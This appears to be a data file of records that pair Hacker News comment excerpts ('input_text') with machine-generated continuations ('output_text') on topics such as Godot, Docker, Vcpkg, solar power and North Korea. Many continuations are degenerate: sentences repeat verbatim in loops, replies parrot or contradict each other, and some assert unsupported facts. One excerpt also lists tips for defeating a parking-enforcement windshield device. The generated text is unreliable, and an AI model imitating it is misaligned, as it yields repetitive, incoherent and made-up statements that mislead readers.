[https://www.amazon.co.uk/War-Art-Through-Creative-\nBattles/dp...](https://www.amazon.co.uk/War-Art-"} +{"output_text": "com.\n\n------\njedberg\nI'm not sure if this is a good thing or not.\n\nI think it's a good thing that people are talking about this. It's a good\nthing that people are talking about the dangers of radiation.\n\nBut I think it's a bad thing that people are talking about the dangers of\nradiation and then using it as a way to discredit the people who are talking\nabout the dangers of radiation.\n\n", "input_text": " an engaging\nwriting style that makes it a good read.\n\nIf you prefer to watch your history, PBS\u2019 _American Experience_ documentary\nseries did an episode based on Blum\u2019s book (see\n[http://www.pbs.org/wgbh/americanexperience/films/poisoners](http://www.pbs.org/wgbh/americanexperience/films/poisoners)\n); it can be streamed via a bunch of different video services.\n\n~~~\nth0ma5\nWe still poison alcohol not only for prohibition reasons but also tax reasons.\n\n~~~\ntialaramex\nIn the EU at least the denatured alcohols sold to the general public (e.g. as\ncleaning products) don't have enough actual poison in them to cause much\ndamage.\n\nThe main thing they shove in there to stop you drinking it is denatonium\nbenzoate (\"bitrex\"), which will make you _regret_ putting it in your mouth,\nbut won't kill you because you'll immediately want to spit it out instead. The\nother ingredients are mostly to stop you trying to get the bitrex back out and\nthen selling it as bootleg booze (thus evading the tax).\n\n~~~\njmkni\nI think Nintendo coat Switch cartridges with the same thing, to prevent kids\nfrom putting the tiny cartridges in their mouth.\n\n------\nrootsudo\nIf you go to the Wikipedia Article for Radium Girls:\n[https://en.wikipedia.org/wiki/Radium_Girls](https://en.wikipedia.org/wiki/Radium_Girls)\n\\- You'd see it's an exact mirror of much of the text that's _re_ posted on\ntheatlantic."} +{"output_text": " bucks.\n\n~~~\njimktrains2\n> exploiting the coefficient of expansion for gasses (as these brilliant\n> students did) is absolutely an option.\n\nI'm not sure how this would work. The gasket is a rubber seal, and the\nexpansion of the rubber would be the same as the expansion of the metal.\n\n~~~\nnimbius\nI'm not sure how you'd exploit the expansion of the rubber, but I'm sure\n", "input_text": " is how tow\ntrucks disengage the clutch and/or the parking brake... am I to understand\nthat they simply don\u2019t? So if I park my manual transmission car in reverse and\nwith the parking brake on, they\u2019re just going to literally drag my car to\ntheir lot or destroy my gearbox? How is this not a bigger issue?\n\n~~~\nsojournerc\nDepends on the car and where it's drive wheels are. Also I think tow drivers\nare authorized to use a tool to break in to the car (non destructively) to put\nit in neutral if necessary.\n\n~~~\njimktrains2\nAside: if you ever notice a teeny tiny panel that has a dimple or hole to open\nit with by the shifter, that's the release for the interlock that prevents\nchanging gears without the keys. That's how you get in neutral when the owner\nisn't present.\n\n------\nnimbius\nWhen I first saw these touted a few years ago I'd imagined they would be\nfairly trivial to bypass.\n\n\\- light oil or penetrating oil can be used to bypass the gasket. If it will\nremove decals or stickers, this thing doesnt stand a chance.\n\n\\- exploiting the coefficient of expansion for gasses (as these brilliant\nstudents did) is absolutely an option.\n\n\\- keeping your windshield wipers up would prevent use of the device.\n\n\\- running some 4lb test fishing line taped against your windshield would\nallow, once placed, the gasket to be defeated by just lifting up on it.\n\nand as always, remember, manufacturers are bound to use a specific set of\nlocks and bolts. Torx security are inexpensive and a barrel lock impression\ntool is about ten"} +{"output_text": "ster_johnson\nI'm not sure if this is a good idea, but I'm curious: why not just use the\nFacebook API directly?\n\n~~~\nthyb\nWe are using the Facebook API directly, but we are also providing a way to\nintegrate with other APIs.\n\n~~~\nlobster_johnson\nI see. I guess I'm just not sure what the benefit is.\n\n~~~\nthyb\nThe benefit is that you can", "input_text": "thyb\nyes it's maybe more a kind of ASK HN if this API could interest people as we\nare finalizing it\n\n~~~\nyuliyp\nAh, cool. I'm kind of interested in how you work on the security aspects of it\n(will you give guidance on how to configure your client info for the various\nAPIs (what do I fill in for all of the different URIs in my Facebook app\nconfig?), as well as more complicated scenarios (storing tokens in DB,\nassociating tokens to accounts, etc.)\n\n------\nspicyj\nThe most confusing thing to me about this page was the changing provider\nnames. I was looking at the page and could tell that something was changing\nbut it took me about 15 seconds to figure out what it was.\n\n~~~\nenjo\nHah.. I actually read this comment first and I was STILL just staring at my\nscreen completely dumfounded. I'd see the little animation on the right\nupdate, and then something else would change. It was mystifying.\n\n~~~\njsmeaton\nMade it really hard for me to focus on the content. I know exactly what was\nchanging, and it wasn't that much, but it took a really long time (in\ncomparison) to read the examples.\n\n~~~\nthyb\nAlright, listening to your feedback it seems the animation was too much of a\ndistraction, so we removed it. Thank you for your feedback!\n\n------\nams6110\n_1\\. Setup your Facebook API Keys in OAuth.io_\n\nlost me.\n\n~~~\njlogsdon\nThat's 1 out of 50+ examples. Facebook is easily the most commonly\nimplemented, so why would they not make that the default example?\n\n------\nlob"} +{"output_text": " the rest of the company.\n\n~~~\nTeMPOraL\nI think the point is that Google X is now a separate company, and the\nheadline is technically accurate.\n\n~~~\ndragonwriter\n> I think the point is that Google X is now a separate company, and the\n> headline is technically accurate.\n\nNo, the point is that the headline is technically inaccurate.\n\n------\njoshstrange\nI'm not sure I understand", "input_text": " killed my\ninterest in it's first incarnation.\n\n~~~\nTeMPOraL\nThe problem is - most of the cool and useful personal applications of glass\nfly in the face of various social expectations. The very idea you could be\nrecording someone caused a backlash the last time, and that's nowhere near\ndoing facial recognition...\n\n~~~\neterm\nIs facial recognition creepier than recording?\n\nIf it's done in real-time, i.e. the scanned images aren't saved then surely a\n\"This is person you've met and tagged as X\" is less creepy than actually\nvideoing someone? You wouldn't get any information you haven't yourself added\nto the device (although it would probably need to lean on external data-sets\nfor the training).\n\nI wouldn't suggest facial recognition should recognise anyone you haven't met\nyet, I think that would be a bit weird (although I think it is the future\nanyway), but a way to effectively add a tag on someone you know would be\ngreat. Most people can do this without the technology to varying levels of\naccuracy and and breadth of their acquaintances.\n\n~~~\nTeMPOraL\nI think it is creepier by definition, through the very fact that the other\nperson can't verify you aren't recording. A camera is a camera. Even if the\nproduct officially doesn't record anything, who's to say I didn't mod my\nglasses' firmware to dump the video buffer? Not to mention that once video\nstream goes into cloud, you lose control over what happens to it.\n\n------\ndragonwriter\nHeadline is neither source headline not technically accurate; while X started\nlife as Google X before the Alphabet reorg, it's a separate subsidiary of\nAlphabet from"} +{"output_text": "\nand easy to use.\n\nI'm not sure if it's the best solution for 3D performance, but it's a great\none.\n\n~~~\npkalinowski\nI'm not sure if it's the best solution for 3D performance, but it's a great\none.\n\nI'm not sure if it's the best solution for 3D performance, but it's a great\none.\n\n------\nmattkevan\nI've been using", "input_text": " portable. Also, they\nuse their own shader script rather than GLSL, which means your shaders aren't\nportable either.\n\nGodot can support different languages (unlike Unity or Game Maker), but IIRC\nthat requires recompiling the engine and may break the editor.\n\n~~~\nluladjiev\nfrom Godot's documentation:\n\n>Finally, one of our brightest additions for the 3.0 release: GDNative allows\nscripting in C++ without needing to recompile (or even restart) Godot.\n\n[https://docs.godotengine.org/en/3.1/getting_started/step_by_...](https://docs.godotengine.org/en/3.1/getting_started/step_by_step/scripting.html#gdnative-c)\n\n~~~\npjmlp\nGiven that Unreal only now added such support via [https://molecular-\nmatters.com/products_livepp.html](https://molecular-\nmatters.com/products_livepp.html) partnership, I wonder how Godot is actually\ndoing it.\n\n------\nPinkMilkshake\nNice one! Such a great project.\n\nEvery time I go and have a play with Godot my mind is blown that the whole\nprogram is a single ~45MB executable.\n\n------\npkalinowski\nGodot approach to game development with nodes is superior to other solutions\nIMO.\n\nI think the biggest blocker for wider adoption is 3D performance and Inverse\nKinematics now. Without it, nobody will ever produce high profile game on\nGodot.\n\n~~~\ngouh\nYes, if you come from Unity like me you will find Godot amazingly intuitive"} +{"output_text": "decks/responsive-\nweb-design.html)\n\n------\nleetcrew\nI'm not sure I understand the point of this. It seems like a lot of work for\na marginal benefit.\n\n~~~\nmusingsole\nI'm not sure I understand the point of this either. I'm not sure I understand\nthe point of this either.\n\n------\nmelling\nI'm not sure I understand the point of this. It seems like a", "input_text": "\nLet\u2019s hope those puncture proof lithium ion batteries increase their\nreliability.\n\n------\nzigzaggy\nShouldn't we skip directly to wireless charging?\n\n~~~\ndexen\nAside of the excellent points raised by _leetcrew_ in sibling post, there's\nalso the matter of avoiding spurious EM emissions.\n\nWireless charging sounds like creating a bright, pulsating \"soldiers be hiding\nhere\" beacon for any opposing force.\n\n~~~\nmusingsole\nIt also had me imagine a far future scenario where soldiers get too close to\nan enemy and accidentally recharge the enemy's depleted railgun.\n\n~~~\ndexen\nAmusing scenario however don't expect it to be a significant risk - any\nwireless system would most probably perform negotiations before beaming out\nany significant amount of power. You want that to avoid damaging sensitive\nelectronics, overheating a random chunk of metal, or plainly wasting energy.\n\nEven the good old Qi wireless charging standard does negotiations, tho those\naren't secured by any means.\n\n \nAll of my side-projects from 2012 - jazzychad\nhttp://blog.jazzychad.net/2012/12/31/year-in-review-side-projects.html\n======\njohnpolacek\nJeez, I thought I had a lot of side projects, but I think you have me beat.\nYou've inspired me to make my own list:\n\nScrollorama \n\nWhat The Heck Is Responsive Web Design\n[http://johnpolacek.github.com/scrolldeck.js/decks/responsive...](http://johnpolacek.github.com/scrolldeck.js/"} +{"output_text": " in place.\n\nI also use a wrist rest that is angled slightly downward. This is to help\nprevent the wrist from pronating (rolling inward) and to help prevent the\nwrist from pronating too much.\n\nI also use a keyboard arm that is angled slightly upward. This is to help\nprevent the wrist from supinating (rolling outward) and to help prevent the\nwrist from supinating too much.\n\nI also use a keyboard arm that", "input_text": ", but I found that it is too big for my hand and have to stretch my\npinky finger to reach the modifier keys all the time, which made my hand sore\nafter just a few hours. I then switch to another quality keyboard: the Apple\nMagic keyboard and really happy about it since it have a lot less key travel.\nReally good keyboard except the weird directional key layout that need to get\nused to.\n\n------\nlaurieg\nFrequent breaks and regular exercise.\n\nI realise this isn't really 'ergonomics' but they help so much I have to\nrecommend them. The body is not designed to sit for hours on end.\n\n------\nmadmod\nAs someone who first had carpal tunnel symptoms at the age of eight I have\nspent a fair amount of time on this problem.\n\nCheck the temperature of your working environment. Cold joints can be the\ncause of or exacerbate various issues. Wearing gloves may help if you can\u2019t\ncontrol the climate. A personal heater can be another good option, but make\nsure the heat is indirect (pointed at a wall for example) to avoid other\nissues from prolonged exposure.\n\nI use a keyboard arm with negative incline positioned at a height so that my\nelbows are at 90\u00b0 and my wrists point slightly downward. (Height of the keys\nrelative to the wrist rest should be as close to equal as possible.) This is\nthe opposite of what most people do with the terrible kickstands that come\nwith keyboards. I find that the more negative incline I can get the better. My\ncurrent setup allows for 20-30\u00b0 Of downward wrist incline. A typical keyboard\ntray or palm rest will not do this, as the height from the desktop must be\nadjustable and it must hold the keyboard"} +{"output_text": " active population.\n\nI've also seen the vibrant economy that results from a population that is\nmostly sedentary and has no active transportation.\n\nI've also seen the vibrant economy that results from a population that is\nmostly sedentary and has no active transportation.\n\nI've also seen the vibrant economy that results from a population that is\nmostly sedentary and has no active transportation.\n\nI've also seen the vibrant economy that results from a population that is\nmostly sedentary and has no", "input_text": " going to even remotely think\n\"Oh, this is such a wonderful place for pedestrians\" :-) Of course, Manhattan\nis very densely populated but auto/truck traffic is pretty horrible for large\nparts of the day in many areas.\n\nManhattan taxis are readily hail-able on the street. And they're supplemented\nby both Uber/Lyft and private car services. So, as a city, it's probably the\ndefinition of well-served by third-party cars and it's very much a part of the\ncity's fabric. Just good luck getting either a cab or Uber (at a reasonable\nrate) if it's pouring rain.\n\nMaybe $10 should be $15 but who knows about vehicle costs in some hypothetical\nfuture or what human support would be needed. My basic point was that, to a\nfirst approximation, we already have what amount to self-driving cars within\nlarger and denser cities.\n\n------\nmpweiher\nThis report is false. While Hamburg does plan for a \"Green Network\", there are\nno plans to ban cars or become \"car free\".\n\nOfficial statement from the city of Hamburg (in German):\n[http://www.hamburg.de/pressearchiv-\nfhh/4257482/2014-01-24-bs...](http://www.hamburg.de/pressearchiv-\nfhh/4257482/2014-01-24-bsu-keine-autofreie-stadt/)\n\n------\nCalRobert\nWe didn't seem to have any trouble banishing people from the streets, so I\nhardly see the problem.\n\n~~~\nVLM\nAdding to that insight, I've gone hiking in the backcountry and I've seen the\nvibrant economy that results from an"} +{"output_text": "tails.\n\n4\\. I want to be able to make a cocktail and have it ready to drink in about\n30 minutes.\n\n5\\. I want to be able to make a cocktail and have it ready to drink in about\n30 minutes.\n\n6\\. I want to be able to make a cocktail and have it ready to drink in about\n30 minutes.\n\n7\\. I want to be able to make a cocktail and have it ready to drink in about\n30", "input_text": " it\ntoo complex the way the reporting comes out?\n\n~~~\nbartonfink\nI don't know the scope of Colin's cron problems, but filtering out mail in\nthis case seems like a less preferable solution than simplifying the way cron\ndoes email to begin with. Filtering e-mail in this case is like putting your\nfingers in your ears when you walk by a loud stereo you've left on instead of\njust turning it off. As a developer, cron doesn't give me a lot of control\nover where e-mail is sent unless I jump through hoops to give myself that\ncontrol. Ignoring the complexity of the reports, and the fact that filters\nlike that don't easily scale across different recipients, the fact is that\ncron's e-mail capability is extremely coarse-grained. For every run of every\njob, the entire output is e-mailed out to the address specified in the\ncrontab. This gets very unwieldy.\n\nI've had to write cron table entries with a blank mail recipient in the\ncrontab itself, and handle the specific mailing cases in the job script. This\nsucks. I'm not sure I think the solution is something that reads cron-mail and\nautomatically generates filters, but I would very much like it if cron\nsupported e-mail lists based on return codes or something else like that.\n\n------\ncallmeed\n1\\. I want to finish my CS bachelors degree online from somewhere reputable\n\n2\\. I want an \"Uber for babysitters\" (yes I know of sitter city and the like,\nnot impressed)... we are very last-minute and spontaneous so our regular\nsitters aren't always available.\n\n3\\. I often want to try making new/different cock"} +{"output_text": ".\n\nA strong economy will also allow NK to develop nuclear weapons.\n\nA strong economy will also allow NK to develop missiles.\n\nA strong economy will also allow NK to develop a nuclear weapon delivery\nsystem.\n\nA strong economy will also allow NK to develop a nuclear weapon.\n\nA strong economy will also allow NK to develop a nuclear weapon delivery\nsystem.\n\nA strong economy will also allow NK to develop a nuclear weapon.\n\nA strong economy will", "input_text": " demonstration (to my ears) of where that came from. It's\npossible perhaps that Xi Jinping whispered wonderful ideas and/or threats in\nKim Jong-un's ear when he visited, but that's opaque to us and media I've read\nseems to be ignorant of such potential influence. If Kim were so serious, we\nshould need him to demonstrate that credibly to us, through actions that are\ncostly for him to take: in particular, pitching this change of vision directly\nand passionately to the populace of North Korea.\n\nKim Jong-un wants to get out from under the chokehold of heavy trade\nsanctions. He wants to be legitimized in the international community as the\nleader of a real nation. He wants to modernize both his military and his\nnation and his personal life. He probably dreams of visiting Paris and\nManhattan.\n\nIt is my belief that he will be able to get these things -- without giving up\nnuclear weapons, missiles, nor giving up his political or military power over\nNorth Korea. From Kim's perspective, democratic politicians are weak and\nmanipulable, and he will find it to be especially true right now.\n\n(edit: s/telescoped/telegraphed/ \\-- thanks!)\n\n~~~\nhangonhn\nThat he's been able to do this with South Korea alone without the US at the\ntable tells you how strong of a hand he has and how weak our hand is.\n\nI think this is a ploy to do two things: 1\\. Economic growth for North Korea,\nwhich has been happened to some extend already. 2\\. Get the US out of the\nKorean Peninsula.\n\nA strong economy will allow NK to develop or buy all sorts of updated\nconventional arms. NK is seriously weak here"} +{"output_text": "_Employment_Report)\n\n------\njedberg\nI'm not sure why this is surprising.\n\nI've been in the same job for over a decade. I've been in the same company for\nover a decade. I've been in the same city for over a decade.\n\nI've been in the same house for over a decade.\n\nI've been in the same neighborhood for over a decade.\n\nI've been in the same state for", "input_text": "crime.\n\nIn the ideal case, if the suspect is actually guilty, they save the\nprosecutors office time and money in actually preparing the case for trial,\nand the defendant gets a lesser punishment and doesn't spend their money on a\ntrial defense either.\n\nIn the less ideal case, say if the suspect is actually innocent but is not\nbelieved or can't prove it easily, the suspects are put in a tough position -\nplead guilty to something they didn't do, or a long and expensive trial with\nuncertain outcome. It gets particularly dubious when the prosecutors try to\ntilt the scales towards the plea side by threatening to go for the max\npunishment on the most serious crime they could possibly charge if the suspect\nchooses a trial. It sounds like this could be a case where this threat was\ncarried out and the prosecutor is going for a knowingly over the top\npunishment to punish them for daring to not take a guilty plea.\n\n------\njlgaddis\n> _Ahu Yildirmaz, an economist who helps lead the research arm of the payroll-\n> processing company ADP, said her firm\u2019s data showed more people switching\n> jobs, and getting bigger bumps in pay for doing so._\n\nSo... if I work for a company who uses ADP for payroll, ADP is tracking\nif/when I change jobs and how much my salary is over time?\n\nI wonder what else they're doing with my private information.\n\n~~~\nRhodesianHunter\nThe ADP employment report is eagerly watched by economists and traders and\ngoes back decades.\n\n[https://en.m.wikipedia.org/wiki/ADP_National_Employment_Repo...](https://en.m.wikipedia.org/wiki/ADP_National"} +{"output_text": "\n\n~~~\nhoistbypetard\nI'm going to go ahead and say that I'm not going to use this. I'm not going to\nuse it because I don't like the idea of a single point of failure, and I'm not\ngoing to use it because I don't like the idea of a single point of failure\nbeing the only thing that can be used to install my software.\n\nI'm going to use Conan.\n\n~~~\nho", "input_text": "'d save me the time of looking for\na better blade. But even DSC doesn't claim their blades are better, except for\nsilly marketing copy like \"this blade comes from the future and lives in outer\nspace,\" which is more about setting an irreverent tone than about actually\narguing with a straight face that they're better than the competition.\n\n~~~\nwil421\nYou have never gone to shave and felt the pull and tug of an old razor? Then\nyou go to work only to forget that you need to buy new ones on the way home\nand the process goes on again. This process happens to me because I am usually\nfocused on buying food and not non-perishable goods.\n\nI switched to DSC recently because of this and I am tired of paying\nGillette/Schick $20-$30 on a pack of razors.\n\n \nAnnouncing a single C++ library manager for Linux, macOS and Windows: Vcpkg - ingve\nhttps://blogs.msdn.microsoft.com/vcblog/2018/04/24/announcing-a-single-c-library-manager-for-linux-macos-and-windows-vcpkg/\n======\nhoistbypetard\nDigging around the announcement a bit, I'm having a hard time seeing why I\nmight prefer this over Conan[1], and I'm not seeing anything about how I can\nstand up my own private repository for vcpkg, which is what I am about to do\nwith Conan. Can anyone sound off (or link a page where someone has done so) on\nwhat might tip someone toward this over Conan or vice versa?\n\n[1]([https://www.conan.io/](https://www.conan.io/))"} +{"output_text": " a good idea to have a \"no comments\" option. I've seen a lot of\npeople who don't want to comment on a post, but they still want to see the\npost.\n\n~~~\nfranze\ni agree. i think the \"no comments\" option is a must.\n\n------\njoshu\nI think the problem is that the comments are not the same as the comments on\nthe site.\n\n------\njoshu\nI", "input_text": " to start shooing away many people who'd otherwise be\ninterested in participating. Some/many will simply never come back.\n\nFB has a penetration of roughly 50% of the population in first world developed\nnations, and that seems to be its zenith (usage has actually started falling\nin the US and other early-adopter regions). So you're excluding roughly half\nyour potential participants.\n\nHow the FB usage pattern distributes across your target/desirable population\nis of course another question. I don't have the answers on that.\n\n~~~\nfranze\nas i said before: i would love that somebody comes up with a better study and\nproves my mini sample wrong, sadly i know none.\n\ni did a similar research of fb enabled signeups vs. non fb signups (on desktop\nweb apps) - outcome: if you enable signups via fb, you get more signed up\nusers.\n\ni think the pro/con fb comments/signups discussion should be based on data\n(data that is easy to get on our own webproperties) and not on opinions.\n\n------\nalpb\nI am using DISQUS (version 2012) for a while on my personal blog and I am very\npleased. I get more comments than the times I installed FB Comments, I get\nmore traction and people actually share through DISQUS star button.\n\nHere's a blog post I wrote about switching to DISQUS\n[http://ahmetalpbalkan.com/blog/disqus-addressed-my-\nconcerns-...](http://ahmetalpbalkan.com/blog/disqus-addressed-my-concerns-\npretty-well/)\n\n------\nAznHisoka\nIt's also"} +{"output_text": " 1 db server.\n\nI'm not saying that docker is the right tool for the job, but I'm curious if\nit's worth the effort to optimize for it.\n\n~~~\ngeerlingguy\nI've seen some benchmarks that show that Docker containers are faster than\nVMs, but I haven't seen any that show that Docker containers are faster than\nbare metal.\n\nI think the main reason is that Docker containers are much more lightweight\nthan bare metal servers", "input_text": " does Docker handle this?\n\n~~~\ngeerlingguy\nOne way I've seen many people tackle this problem is to have the\nDockerfile/image built in a more generic way, then the end of the Dockerfile\nkicks off an Ansible playbook (or some other lite CM tool) that will configure\neverything for the proper environment (e.g. change configuration and kick off\na service, something along those lines).\n\nSome will even go as far as using a CM tool to do the entire internal\nDockerfile build, and the Dockerfile is just a wrapper around the CM tool.\nThis does require more bloat inside the Docker image, as you need to have your\nCM tool or whatever other supporting files/scripts installed in the image, but\nit does make more complex scenarios much simpler.\n\n~~~\nyebyen\n> you need to have your CM tool or whatever other supporting files/scripts\n> installed in the image\n\nThis pattern is maybe even more helpful than harmful, for making your dev\nenvironment more closely match production, when your final deploy target is\nnot a docker container.\n\n(You are obviously going to want to see those build scripts running in test,\nif not earlier; certainly once, before they should kick off in a production\nenvironment.) You could do more individual steps in the docker file, just like\nyou could store your token credentials and database handles in the git\nrepository. Neither way is \"completely wrong\" but there is a trade-off.\n\n------\nvruiz\nSide question. I'm well aware of the benefits of docker but, has anybody\nmeasured performance degradation due to lack of machine specialization? Back\nin the web 1.0 days it was common knowledge that you start in 1 server, then\nyou split into 1 app server and"} +{"output_text": "\n~~~\nbriansmith\nI don't know about the domestic flights, but I've seen this happen with\ninternational flights.\n\n------\njoshu\nI like the idea, but I don't like the implementation.\n\nI think it would be better to have a single window with a list of results,\nwith a button to open the next window.\n\n~~~\nbriansmith\nI agree. I think the idea is to have a single window with a", "input_text": ". time of day is a parameter\nwe'll definitely be adding soon. (it's actually one of the trickier ones to\nimplement).\n\n------\nsammyo\nAlso opening a couple dozen new browser windows is a good way to ensure your\nsite is only used once.\n\n~~~\nkirubakaran\nNormally I'd agree, but in this case it is exactly what I wanted!\n\n------\njbrun\nThat is a great site, beats all others hands down. Pop-ups suck, but still\nbeats the other sites. I love entering the date in words.\n\n------\nanthonyrubin\nIf you are going to create a new site in this space it has to be at least as\ngood as Kayak. Tripeedo fails horribly. As others have mentioned, a site that\nsimply opens numerous windows with the results from each site is not adequate.\n\n~~~\nbriansmith\nTripeedo has two obvious advantages over Kayak:\n\n(1) It can help you search discount airlines like JetBlue and Southwest.\n\n(2) It will show you fairs that are exclusive to the airlines' websites. (I\ndon't think I've ever run into a situation where the airline's website had a\nprice significantly lower than what was on Kayak but I've heard rumblings that\nit happens.)\n\n~~~\njpwagner\nI agree with both of these thoughts, but where is tripeedo when kayak partners\nwith all of these?\n\ni recently went to hong kong and searched all of these engines and got\ndiscouraging prices. I did one search on Cathay Pacific's website and saved\nclose to 40%. I'm almost positive you won't see this with domestic flights\n(for now.)\n"} +{"output_text": " a product that no one wants.\n\n------\njoshstrange\nI would say that you need to get to a point where you can raise a seed round\nand then you can start to think about VC.\n\n------\njoshstrange\nI would say that you need to get to a point where you can raise a seed round\nand then you can start to think about VC.\n\n------\njoshstrange\nI would say that you need to get", "input_text": " capital to scale and others just continued to\nbootstrap.\n\n------\neaenki\n1\\. Almost all the capital is in SF/NY. Move accordingly. Good luck with the\nVisa- it\u2019s going to be a PITA\n\n2\\. Have founders who raised capital as friends. Good luck with that too!\n\n3\\. Now if you have a decent looking product and a plausible story you\u2019ll\nraise seed\n\nOr, you know, getting into YC kinda takes care of all 3 points.\n\nAlso, getting insane traction on your own, like WhatsApp did, takes care of\nall 3 points.\n\n~~~\nAnswerawake\n\"Also, getting insane traction on your own, like WhatsApp did, takes care of\nall 3 points.\"\n\n...do you think there is space and/or interest for a WhatsApp clone?\n\n~~~\nfrancescopnpn\nI don't?\n\n------\nsub7\nFinding investors is easy (use AngelList), getting them to invest is harder.\n\nAt your stage, they will look at team, traction, and social proof. Generally\nbeing exceptional in 1/3 of the above criteria will give you a pass on any of\nthe other 2.\n\nMy best advice is hustle your way to 10 users and if they're happy go raise a\nseed round.\n\n------\nfbelzile\nAre you sure VC funding is needed to get started? Is there a reason you ruled\nout bootstrapping?\n\nSure, you probably won't grow as big as fast, but you'll remain totally in\ncontrol and enjoy the freedom of working for yourselves.\n\n------\npascalxus\nthe first thing you should do is talk to customers, or potential customers.\ndon't make the mistake of building"} +{"output_text": "\nimprovement in the materials used, and the efficiency of the turbines.\n\nThe biggest single thing is the cost of the silicon wafers, which has fallen\nby a factor of 10 in the last 15 years.\n\n~~~\nspenczar5\nThanks for the explanation. I'm not an expert, but I'm curious about the\nprocesses that have made this possible.\n\n~~~\npjc50\nThe silicon wafers are the most expensive part of the process, but", "input_text": " available,\nat scale, right now. But traditional light water reactors? They're a\ntechnological dead end. The cost doesn't work.\n\n~~~\nenqk\nWhen you're saying nuclear can't keep up with the cost, are you comparing the\nsame kwh?\n\nFor wind and solar if you install X kwh for amount A, and for nuclear Y khw\nfor amount B, X represents a peak available capacity.. At best, what is the\nguaranteed available khw you get for this installed base? 0.10 * X?\n\nFor nuclear the available capacity is much closer to Y.\n\nSo if the available capacity from wind/solar was something like 0.10 X, then\nit means you'll have to install 10x more wind and solar than you would need\nnuclear. Which needs more material and more energy expenditure (more CO2?) to\ninstall.\n\nIf you compare cost, similarly, A would have to be 10x smaller than B to make\nwind/solar be cheaper.\n\nSome other issues is how Solar competes in terms of surface with areas that\nyou'd grow food in (unless you build in the desert, but then you have issues\nsuch as dust on the panels, and the need to carry the energy across large\nland)\n\n------\nspenczar5\nWhat are the developments that have made solar and wind _so much_ cheaper over\nthe last 15 years? I am hoping HN has an expert lurking about who can unpack\nthis.\n\n~~~\npjc50\nIt's not one big thing as a thousand thousand little things that individual\nengineers have worked on.\n\n\"Simply\" making the turbines bigger helps quite a lot, but that requires\nengineering the blades and support structures. There's also a continuous"} +{"output_text": " a pretty good read.\n\nI'm not sure I buy the argument that Uber's technology is \"hard to understand\nwhy the DMV would seek to require self-driving Ubers to get permits when it\naccepts that Tesla\u2019s autopilot technology does not need them.\"\n\nI mean, it's not like the DMV is going to be able to tell the difference\nbetween a Tesla with autopilot and a Tesla with no autopilot.\n\n~~~", "input_text": ". If they kill and hit someone, Kalanick is easily portrayed\nas a ready-made movie villain. Wantonly ignoring state and local laws in the\nhopes of getting ahead of the pack, sacrificing the life of cute little\ntoddler Adam to the altar of Mammon?\n\nAnd it's really not just portrayed: Uber'll deserve any and all punishment\nthrown at them for this, up to and possibly including the shut down of the\ncompany and criminal charges for the people who did this. And Uber'll be\nsetting the cause of self-driving cars back years, maybe even a decade.\n\nThis is all incredibly obvious too, and I don't think Uber folks are idiots.\nMaybe they're getting desperate, and they're willing to eat the risk of the\ncompany being destroyed because their business strategy for survival is\nsensitive to getting to production-ready self-driving cars a year earlier than\nthey would have otherwise?\n\n~~~\nFricken\nUber's is laying the groundwork to make the legal case that Tesla owners using\nautopilot are in fact 'testers', presumably in hopes of tangling Tesla up.\n\n'Levandowski compared Uber\u2019s technology to Tesla\u2019s autopilot feature, saying:\n\u201cIt\u2019s hard to understand why the DMV would seek to require self-driving Ubers\nto get permits when it accepts that Tesla\u2019s autopilot technology does not need\nthem.\"\n\n[https://www.theguardian.com/technology/2016/dec/16/uber-\ndefi...](https://www.theguardian.com/technology/2016/dec/16/uber-defies-\ncalifornia-self-driving-cars-san-francisco)\n\n~~~\nscarmig\nThat's"} +{"output_text": " engineers be a good thing?\n\n~~~\ndclowd9901\nI think the issue is that the bar is already low enough to admit false\npositives.\n\n~~~\nthelock85\nI think you're right. I think the issue is that the bar is already low enough\nto admit false positives.\n\n------\ndclowd9901\nI think the real issue is that the bar is already low enough to admit false\npositives.\n", "input_text": ", Jack Dorsey, didn\u2019t go to a top CS\n> school. However, it\u2019s still the case that college and experience is an\n> imperfect signal of ability.\n\nIn other words: Here's all of these great reasons I've found not to trust\nsomeone's schooling as a good indicator of their ability, but I'm going to use\nit anyway.\n\nOP is what's wrong with tech hiring.\n\n~~~\nacctjustforyou\n\"There exists a young man with no legs who has a stellar collegiate wrestling\nrecord.\n\nThere also exists an athlete in the most prestigious wrestling program in the\ncountry who always loses because he never makes weight, and when he does make\nweight, he gets defeated in seconds.\n\nTherefore I can confidently conclude that 'number of limbs' has no correlation\nwhatsoever to wrestling ability.\"\n\nHmmm...\n\n~~~\ndclowd9901\nSounds like you get it.\n\n------\nthelock85\nFascinating. It mostly seems you're company is taking a poor approach to\ndiversity, and doing even worse at communicating and gaining buy-in from\nexisting employees. With the exception of #1, it seems all of these strategies\nare aimed at eliminating signals that skew heavily toward elite-educated men\nso that the top of your funnel is more diverse. So perhaps the real issue is\nthat the hiring process allows for \"many engineers who are barely competent at\ntheir job.\" And perhaps there aren't enough resources to improve said process\nand handle a greater volume of potentially unqualified applicants. But by your\nown admission, the bar is already low enough to admit false positives so I\nthink you're conflating issues here. On a side note: holding your argument to\nbe true, could the existence of barely competent"} +{"output_text": " can now build native apps that run on Windows, Mac, and\nLinux.\"\n\nI'm not sure I understand this.\n\n~~~\njoshschreuder\nI think they mean that you can now build native apps that run on Windows,\nMac, and Linux using Electron.\n\n~~~\nDonFizachi\nI think you're right. I was thinking more along the lines of a native to JS\nbridge.\n\n------\njoshschreuder\n", "input_text": " non-\nnative.\n\n~~~\nblub\nBalsamiq Mockups is built with Flex/AIR. It's quite decent, but a bit\nsluggish.\n\n------\nawinder\nCan we talk about the other red headed stepchild of desktop dev which is java\ncross platform apps? It'll take a lot to get me off my high horse that if all\nthat was ported to electron, it'd be a great upgrade for users.\n\nIt's also a bridge for Linux desktop to get critical, same-in-class app\nsupport. Not a final destination but a possible breakpoint infusion.\n\n~~~\ndiek\nSo, like IntelliJ? We should port IntelliJ to Electron?\n\n~~~\nrlabrecque\nI mean we already have VSCode and Atom both running on Electron.\n\n~~~\nawinder\nI had tons of memory problems on webstorm, basically romping through 4GB+, it\nwas taxing my 16GB laptop at times. Switching to vscode has been a huge\nresource saver.\n\n~~~\ntommica\nI have the opposite issue - PHPStorm works fine, but VS Code and Atom are\ncompletely sluggish even on simple PHP files\n\n------\nogezi\nI completely agree with this. Electron drops the entry barrier for desktop\ndevelopment much like flash did for web development.\n\nAs computers get faster I think that the difference in performance of apps\nusing electron versus platform native apps will be imperceptible.\n\n~~~\nharrygeez\nI would much rather see React Native succeed than Electron.\n\n~~~\npier25\nI would much rather see a native to JS bridge completely decoupled from React.\n\n------\nDonFizachi\n\"With Electron, we"} +{"output_text": " than we thought, it's\ndifficult to believe that 